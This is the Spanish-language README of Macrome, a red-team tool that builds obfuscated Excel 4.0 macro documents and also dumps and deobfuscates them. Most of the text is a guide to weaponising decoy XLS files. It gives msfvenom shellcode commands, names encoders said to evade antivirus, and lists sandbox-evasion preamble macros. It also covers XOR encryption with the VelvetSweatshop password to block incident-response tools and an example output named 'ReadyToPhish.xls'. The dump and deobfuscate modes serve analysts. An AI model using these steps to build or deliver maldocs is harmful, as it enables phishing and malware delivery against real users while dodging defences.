
Lector/Escritor de Documentos de Macros de Excel para Red Teamers y Analistas
Un Lector/Escritor de Documentos de Macro de Excel para Red Teamers y Analistas. Las publicaciones de blog que describen lo que realmente hace esta herramienta se pueden encontrar aquí y aquí.

Clona o descarga este repositorio, la herramienta se puede ejecutar usando dotnet - por ejemplo:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
o
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
Ten en cuenta que se requiere una compilación de dotnet 5.0+ para que esto funcione según está configurado - se puede obtener de https://dotnet.microsoft.com/download/dotnet/5.0.
Las versiones binarias de la herramienta que no requieren dotnet y contienen un binario ejecutable se pueden encontrar en la sección de Lanzamientos para Windows, OSX y Linux.
Ejecuta Macrome usando dotnet run desde el directorio de la solución, o dotnet contra el binario de Macrome compilado. Hay tres modos de operación para Macrome: modo de construcción, modo de volcado y modo de desofuscación.
Ejecuta Macrome con el comando build para generar un documento de Excel que contenga una hoja de macros ofuscada usando un documento señuelo proporcionado y una carga útil de macro. dotnet Macrome.dll build -h mostrará las instrucciones completas de uso.
Por ejemplo, para construir un documento usando el documento señuelo path/to/decoy_document.xls y shellcode x86 binario almacenado en path/to/shellcode.bin, ejecuta dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. Esto generará un documento XLS 2003 que, después de abrirse y presionar el botón "Habilitar contenido", ejecutará el shellcode de shellcode.bin.
El resto de la documentación explicará cada bandera/función en detalle, pero ahora mismo lo "último y mejor" que Macrome tiene para ofrecer se puede obtener ejecutando:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
Primero genera un documento de Excel "señuelo" base que contendrá el contenido que los usuarios deben ver. Esto debería ser algún tipo de señuelo que convenza a los usuarios de hacer clic en el botón "Habilitar Macros" que se muestra en Excel. Hay algunos ejemplos de la creación de señuelos "últimos y mejores" en https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. Una vez creada esta hoja, guarda el documento como tipo Excel 97-2003 Workbook (*.xls) en lugar del formato más nuevo Excel Workbook (*.xlsx). En /Docs/decoy_document.xls se incluye un ejemplo de documento señuelo. Ten en cuenta que si estás usando ofuscación XOR para proteger tu documento, actualmente NO puedes agregar una imagen a tu señuelo.
A continuación, genera una carga útil de shellcode para proporcionar a la herramienta. La carga útil binaria de ejemplo (que abre calc) se generó usando msfvenom con los siguientes parámetros:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
También se admiten cargas útiles de 64 bits. La carga útil de ejemplo de 64 bits, popcalc64.bin, se generó con el comando:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
Esta carga útil se puede incrustar ejecutando el comando:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
Actualmente, las cargas útiles de 64 bits requerirán que también se proporcione una carga útil de x86. Si esto no es un problema, puedes especificar basura para la bandera de carga útil de x86.
Hay soporte eventual para incrustar ensamblados .NET directamente en el documento, pero si deseas hacer eso ahora mismo, te sugiero que uses EXCELntDonut.
A partir de Macrome 0.5.0 y superiores, todas las cargas útiles se codificarán con base64, por lo que tu carga útil podrá contener cualquier secuencia de bytes (incluyendo bytes nulos).
Si deseas incrustar un ejecutable .NET usando Macrome, te sugiero que uses Donut con el comando donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe, y luego incrustes la carga útil resultante como tus cargas útiles de 32 bits y 64 bits.
Otra alternativa sólida es Amber que ha funcionado muy bien para incrustar binarios Go bastante grandes.
Si por alguna razón deseas usar el modo de codificación de carga útil heredada de antes de Macrome 0.5.0, usa la bandera --payload-method con SheetPackingMethod. Ten en cuenta que en el modo heredado, usar una carga útil mayoritariamente alfanumérica reducirá el tamaño del archivo de macro generado, ya que es más fácil expresar letras y números en forma de macro que agregar invocaciones de la función CHAR repetidamente como =CHAR(123)&CHAR(124)&CHAR(125)... etc. Pero la herramienta debería poder manejar también una carga útil binaria completamente no imprimible.
Similar al uso de carga útil binaria, primero se debe generar un documento señuelo. A continuación, se debe crear un archivo de texto que contenga las macros a ejecutar. Las macros deben tener columnas separadas por caracteres ; y filas separadas por saltos de línea. Actualmente, el contenido de las macros especificadas se escribirá y ejecutará comenzando en A1, aunque se agregará soporte futuro para permitir especificar la ubicación de inicio. Se pueden encontrar ejemplos de macros en /Docs/macro_example.txt y /Docs/multi_column_macro_example.txt.
Finalmente, ejecuta el comando:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
Observa el uso de la bandera payload-type establecida en Macro.
Puedes generar una macro tú mismo, o puedes usar la maravillosa herramienta EXCELntDonut para crear una macro por ti.
Estos se detallarán en una próxima publicación de blog, pero Macrome ahora puede codificar cargas útiles de macro de tres maneras diferentes. La mayoría de estos aún no son detectados por ningún AV, pero experimenta con tus cargas útiles para ver qué funciona mejor.
IF y SET.NAME. Esto es algo que aún no ha sido abusado por autores prominentes de maldocs, por lo que es poco probable que active alertas en AV por ahora.ROUND.Especifica una codificación usando la bandera method al construir - por ejemplo, para usar el codificador CharSubroutine:
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls
A veces es posible que desees que ciertas macros se ejecuten ANTES del código de la carga útil. Esto es útil cuando estás agregando macros para evasión de sandbox y/o verificando que tu carga útil se está ejecutando en el host correcto.
El formato para los archivos de preámbulo es exactamente el mismo que cuando se usa payload-type Macro, pero solo admite una sola columna. Por ejemplo, podrías tener un preámbulo de:
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))
Esto verificará los valores de resolución de pantalla, la presencia de un mouse y la capacidad de reproducir sonido. Si alguna de estas falla, la aplicación se cerrará antes de ejecutar el contenido principal de la carga útil.
Además, si deseas que una macro de preámbulo se evalúe INMEDIATAMENTE, en lugar de después de desempaquetar el resto de las macros, puedes prefijar un comando con %%%%%. Por ejemplo:
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())
Esto es útil para minimizar la cantidad de comandos XLM ejecutados antes de matar el documento y puede ser útil para reacciones más inmediatas a la presencia de indicadores de sandbox.
Macrome 0.3.0+ admite la protección con contraseña de documentos usando ofuscación XOR, un modo de cifrado heredado de versiones MUCHO más antiguas de Office. Este modo de cifrado a menudo no es compatible con las herramientas de IR y puede ayudar a proteger el contenido del documento contra la inspección.
Excel tiene una contraseña "predeterminada" de VelvetSweatshop, que te permitirá cifrar el contenido del documento mientras haces que el documento se descifre automáticamente al abrirlo. Esta es la forma "ideal" de usar la ofuscación XOR en un contexto ofensivo. Macrome intentará automáticamente usar esta contraseña al desofuscar o volcar un documento.
Para usar esta funcionalidad, simplemente agrega --password <contraseñaACifrar> a tu comando de construcción.
Ejecuta Macrome con el comando dump para imprimir los registros BIFF8 más relevantes para documentos arbitrarios. Esta funcionalidad es similar a la funcionalidad de volcado de macros de olevba, pero tiene un procesamiento más completo de entradas Ptg de casos extremos para ayudar a asegurar que el formato sea lo más cercano posible a las entradas FORMULA reales de Excel. Esto es lo que he estado usando para depurar algunos de los documentos extraños de casos extremos que he estado generando mientras hacía esta herramienta, por lo que es comparativamente robusto. Estoy seguro de que hay muchos casos extremos que no se admiten en este momento, así que si encuentras un documento cuyo contenido no se vuelca correctamente, por favor abre un issue y comparte el documento como un archivo zip.
El comando dump solo requiere un argumento path que apunte al archivo objetivo. Un ejemplo de invocación es:
dotnet Macrome.dll dump --path docToDump.xls
La mayoría de las banderas del comando dump son para depuración, pero dump-hex-bytes puede ser útil para usuarios que quieran ver las cargas útiles de bytes individuales para registros relevantes. Esto es una funcionalidad similar a BiffView, aunque solo se mostrarán por defecto las entradas específicas de maldocs.
Ejecuta Macrome con el comando deobfuscate para tomar un documento XLS Binario ofuscado e intentar revertir varios comportamientos de anti-análisis. dotnet Macrome.dll deobfuscate -h mostrará las instrucciones completas de uso. Actualmente, por defecto este modo:
Lbl que Excel interpretará como entradas Auto_Open a pesar de que su nombre no coincida con esa cadena.Por ejemplo, para desofuscar un archivo de macro XLS 2003 malicioso en path/to/obfuscated_file.xls, ejecuta dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls. Esto generará una copia del archivo ofuscado que será más fácil de analizar manualmente o con herramientas.
NOTA: Esto no hace mucho todavía, principalmente está destinado a demostrar cómo el uso de la librería b2xtranslator modificada puede ayudar a automatizar la desofuscación. Pronto llegarán funciones más útiles.
Muchas gracias a todos los hombros sobre los que pude apoyarme para escribir esto.
b2xtranslator así como la gente de EvolutionJobs que la actualizó y la portó a dotnet. El código utilizado aquí se obtuvo inicialmente de https://github.com/EvolutionJobs/b2xtranslator.